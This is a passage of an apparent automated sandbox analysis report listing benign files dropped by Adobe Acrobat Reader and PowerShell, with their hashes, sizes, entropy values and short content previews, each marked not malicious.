SHA-256:	065683DCA9B64D8500EC9D37027349E741FEC8FF5B99089A5180315B0702B66C
SHA-512:	2A472F2F44DEA8ACFFCEDDF60A2135B39CB2279EDCA01FAB4BBD25D951026216C279EC94F136EC3F13837870C46863E07707047E8BF9777339D7F87518BCB7BC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b137971-1576-4025-a167-b899f28cfe59","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748600981,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.323324639958425
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDaAVun4WsGiIPEeOF0Y+gU8DoAvJfQ1rPeUkwRe9:YvXKX9ssdTeOegLsGY16Ukee9
MD5:	DCBA5D87E18469207157F7DA857F35BE
SHA1:	A3E654D9EC5F81DEA42CDE95D7026FBC85B72B98
SHA-256:	0934E6B7225980A17285FFE122C35FE0A6BFADC499E1A100B8A6B8D52280BB4E
SHA-512:	2EF056BE0A5E140ED753766A671FA5809A7C4B3DC2A3D3C781C1C783899AC07E1CBAEA27ADAA24E5F75E17926A8567F0774805A4CE70E990A69C54EF97FBA892
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b137971-1576-4025-a167-b899f28cfe59","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748600981,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.340871703984209
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDaAVun4WsGiIPEeOF0Y+gU8DoAvJfFldPeUkwRe9:YvXKX9ssdTeOegLsGz8Ukee9
MD5:	79908046E69EB7BB138D8BA74ED50D07
SHA1:	8CF903B5C38603693609DA1238EB33EA6417DD44
SHA-256:	0B9EBF9C8C63989D9C35B7AB5BCE07ED207FC126AC30A0BF341CBC90F6606384
SHA-512:	C4245BB4E61A3BA152D19229F480D73D79130CC72FF8D6F998C5BF66B930C83312CED740232E41E7C8BC6CEE9E35BD26FD2DF1AA3E9C36E2F8CAD09646908075
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b137971-1576-4025-a167-b899f28cfe59","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748600981,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.345462356976244
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDaAVun4WsGiIPEeOF0Y+gU8DoAvJfzdPeUkwRe9:YvXKX9ssdTeOegLsGb8Ukee9
MD5:	8257B603129AF08188E5CE97744DBE03
SHA1:	BA5C4C0700C36859D747EA7614387857C0D3187A
SHA-256:	8454FA135CBFAE5B1E7D80F75B65C3C73F5FEA72C2AF5EA64189D442B701F338
SHA-512:	36D6B30D2E9B663ED4D6A95515016F49DC47ADBE5BE46EB00E67A1726B8A529BEE126478A2C09D9B3C48A6D045687D8A21A8F7B7AAF89B43D057F03D3696A03E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b137971-1576-4025-a167-b899f28cfe59","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748600981,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.326354123946803
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDaAVun4WsGiIPEeOF0Y+gU8DoAvJfYdPeUkwRe9:YvXKX9ssdTeOegLsGg8Ukee9
MD5:	8E4975B85C99E3D901F26231457535AE
SHA1:	56050A2BCC20DE77215B061F473E6EF6CD8880E8
SHA-256:	3CD2407ED93C55FB9E701B4C5012D8CFB2AF87BF9E353555FFBA6A61DF8B9CEB
SHA-512:	E43D15BAB35035D6148A4B458485A57698726A18535F00C894D54CAE0D93CCC884183C24E67F49067075393A3A717116C1DD9EB822847F0204029002EBC5C0B1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b137971-1576-4025-a167-b899f28cfe59","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748600981,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.312868477825078
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDaAVun4WsGiIPEeOF0Y+gU8DoAvJf+dPeUkwRe9:YvXKX9ssdTeOegLsG28Ukee9
MD5:	7C5F71397D6A129FA26F2BAD244CE374
SHA1:	F2DCC2DD61B79AD09E8CA3BD94DCD3371C2A7E78
SHA-256:	C0D1668C868E185006290A208360AA555A6570E1E2A0888F67B7CEB38397CD84
SHA-512:	875D2FBB2CF8C8276877F87E7627F24D5D980FCFB0155086810A76F719C4DF07EE9726D813BF8C99F154262B0BEB3A4C9954E2DC809097D4F3F37BFF26713BD7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b137971-1576-4025-a167-b899f28cfe59","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748600981,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.309720093621032
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDaAVun4WsGiIPEeOF0Y+gU8DoAvJfbPtdPeUkwRe9:YvXKX9ssdTeOegLsGDV8Ukee9
MD5:	9F68747BFFC76416F8A8E2D5D7C43A6A
SHA1:	C5DB1006143D91A4DD097123CDB7FA2E21223CEE
SHA-256:	F26FA0E9C86DCA1C717CCB1DCC7569853AE4CBB77815C25E4FE5F41A994A8D97
SHA-512:	2DCAAB2A108123AC1F28E040AFE230B5D925C94E4A1B85FFACAF1DEBABBE8574F0E807B0A9BF3127C698C59ADE13FE4CAE687C4E691F273B8A1F8653C48969FD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b137971-1576-4025-a167-b899f28cfe59","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748600981,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.314421946077485
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDaAVun4WsGiIPEeOF0Y+gU8DoAvJf21rPeUkwRe9:YvXKX9ssdTeOegLsG+16Ukee9
MD5:	559516A6B1CE5B5498DADE11821F85EB
SHA1:	E440D4AEAC840CCAB0446785E64A269FC6F0AFFD
SHA-256:	7C67B98B88C00620C822E3FEA538C5CAB313E3A5A6F4E19D0E58E57F72F94841
SHA-512:	D10920AF108D9BBC4CA33D2FB4D7A36F6DC5BB073E32B478541EF09C3F192233A159266FD7C1B5F91FEBADDF5BA239DF34A3E9E26BBA01BE7F88517FA1D5F0AE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b137971-1576-4025-a167-b899f28cfe59","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748600981,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.671152289536617
Encrypted:	false
SSDEEP:	24:Yv6X2meOegL5amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSO1:YvAevgLFBgkDMUJUAh8cvMo
MD5:	4063A30BC902551C972AFA3F46D5A7AD
SHA1:	D2EF32E201B84A985B1670137F8B7430F57BA13B
SHA-256:	FC7ABCDC4EF81EB2A4C8F7313FD82046A1ACF655ADB5F15035C0023B955B0940
SHA-512:	B03395469DABF391C22C7855D07F7165C4A4722F0FF20056E1BE7FAA5DEC8EE5114FB94BFDCCD003905840158573431D5958FA1FE71B50DC29F20606B00B8DDF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b137971-1576-4025-a167-b899f28cfe59","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748600981,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.29246384884037
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDaAVun4WsGiIPEeOF0Y+gU8DoAvJfshHHrPeUkwRe9:YvXKX9ssdTeOegLsGUUUkee9
MD5:	799BAD686F853CAA3B7E9D00E163522E
SHA1:	A0F6954A00516E589B99C062E5F2B3DED3B7452B
SHA-256:	F4FE92A61A8462991D09A54348D9CC1EA23B95416ACB72472ADFF9F1F12A88AD
SHA-512:	7B47F526A1A0A65EAEFD9407667351E90EB15D901F6CFEA1D00DFC0FF684CF8B083B6E100CE911C3EBAD95EA0FD3100767CBCEE3B50FDE2E53B0717B7733FCBA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b137971-1576-4025-a167-b899f28cfe59","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748600981,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.307343577497961
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDaAVun4WsGiIPEeOF0Y+gU8DoAvJTqgFCrPeUkwRe9:YvXKX9ssdTeOegLsGTq16Ukee9
MD5:	4B99A97935AC3996E517E48752B94189
SHA1:	115FEE61E6F6B8D8C034E5799F6DEDF051CA5A39
SHA-256:	214E8738C56FE4804D5B56022172E167319792C932097B0F28FAA2A3E1B10980
SHA-512:	82C778CDF90D3C698D785549C606465CBF847ACD0016DD244AA60A8A0FB58BD25B5BCDB9F631509635BD6A2AA3EAADF39A9929F8DA942D50D5833B8327B31D4C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b137971-1576-4025-a167-b899f28cfe59","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748600981,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.142701600517397
Encrypted:	false
SSDEEP:	48:Y719dX4ZZ9SF+O6X970MLdDN6XjgTbhWcsh9B:GroZZ9SQO6hLpN6XMHhWT/B
MD5:	A1D48F8E7C7BF4BC63B3E9CE1D8002BD
SHA1:	5DC0EA7F1455A663CCAA3408CBCB5DD232EDA862
SHA-256:	78DF9BDAC894A6FDC1D9AA84FE4D3B3699D58DE2C31D8FEFF2BB23DE9CD7D664
SHA-512:	172ACAF75E4606C3F3EB3396050C302CE13AC688EC47AD73727788D6E9D549BA9DD3D6B7736972F76BD9C8888EFCC83776385C74C89B487176DDA046CD82AA3A
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"3051911f26f86a6c7c296e953d5fb572","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736575320000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"28fb6efb7b0f4306a7f6723738b491bd","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736575320000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"9b3018c6295cb01b54d8b1adc94c6b7d","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736575320000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"66ce9f23970b6b62f6800a4597ee1be3","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736575320000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"bdc1881a1c93c9194d2a3747192934ec","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736575320000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"898309097ca7400e727a954f808842b8","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.453166870125371
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsYl0:lNVmsw3SHtbDbPe0K3+fDZdM
MD5:	77A96FF1D1D1549C89B7BC76EA94B4C5
SHA1:	52BB5CA637B557A21A9E4A7643C98E0AF4370E12
SHA-256:	E8E9B8115426B1B28FCEF3C24D58BA7C7A2025950F778B9B256CC6A5B8639188
SHA-512:	2F014877078F4FFCFC064B08CE56FDB2F2B6D12A4A147101F6D018856D7354797B025B9A305D369F95B9AF374AB5D64B024B27C0258F45A3F50EF12FF2492BA1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9582944000584435
Encrypted:	false
SSDEEP:	48:7MUrvrBd6dHtbGIbPe0K3+fDy2dsNEqFl2GL7msL:7p3SHtbDbPe0K3+fDZd/KVmsL
MD5:	909F53B234E5016D7C318202030E8434
SHA1:	23F94FD485D9ABB3134CE35B7C75F18B3AE776FE
SHA-256:	B6806C1435680AB7410931982D6133924E3EAEF66331C93563B4D95BE67BE01D
SHA-512:	A5AEE1E4904F0BF90E009BBDD66FF7066E1D0159C17AB623DCBA262FE134FBFBC3FEB0155144AACF269FFC63D6E144ADB2D5A9AE985FABF1B7629B7D57EDA390
Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgPl9lNbe1eOelaYsu6bDnyWmymYyu:6a6TZ44ADEPl9lBe1eOB5mbK
MD5:	A081D4C222F4E1DF5F0691A1F9285DFC
SHA1:	1D186CEFCAA93B8EE41C37AED826CCFFE97A5E33
SHA-256:	5D99912C29E281313AF7E1FC59B49C320691129899F20CB837EFC5AC632D1B6D
SHA-512:	87A351B09ABE0300F58659DF314960D700756834E8E48DBC85E5600CA1F910E4C9B71EE5422C8DF247481A4212C904107464E69A7F9461E6E73178F94AB2C0F8
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIe8575.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.472955316099031
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl8olYH:Qw946cPbiOxDlbYnuRKdEYH
MD5:	613A126FB6DCBDD6D6D3EF13CAD3B329
SHA1:	63B96E523A449859644A61FBC1D59FB4195CFB1C
SHA-256:	869326C87F14AF9738D01886E263095A07C29B4618779B873FEDB5BCF123EF24
SHA-512:	F826BCB0DAE966EC2FD73D132D718B4853D8689841BF8BD9578D8C085A47452E5127BD94D5EC6C3FB758AAB853EFBDC176A72E21D626445EB74148ADBE15B008
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.1.:.0.2.:.0.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mpsuimcg.avh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xcpxqvd0.5pe.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9dio9cq_6romvg_5qg.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 01-01-54-084.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.297290724458865
Encrypted:	false
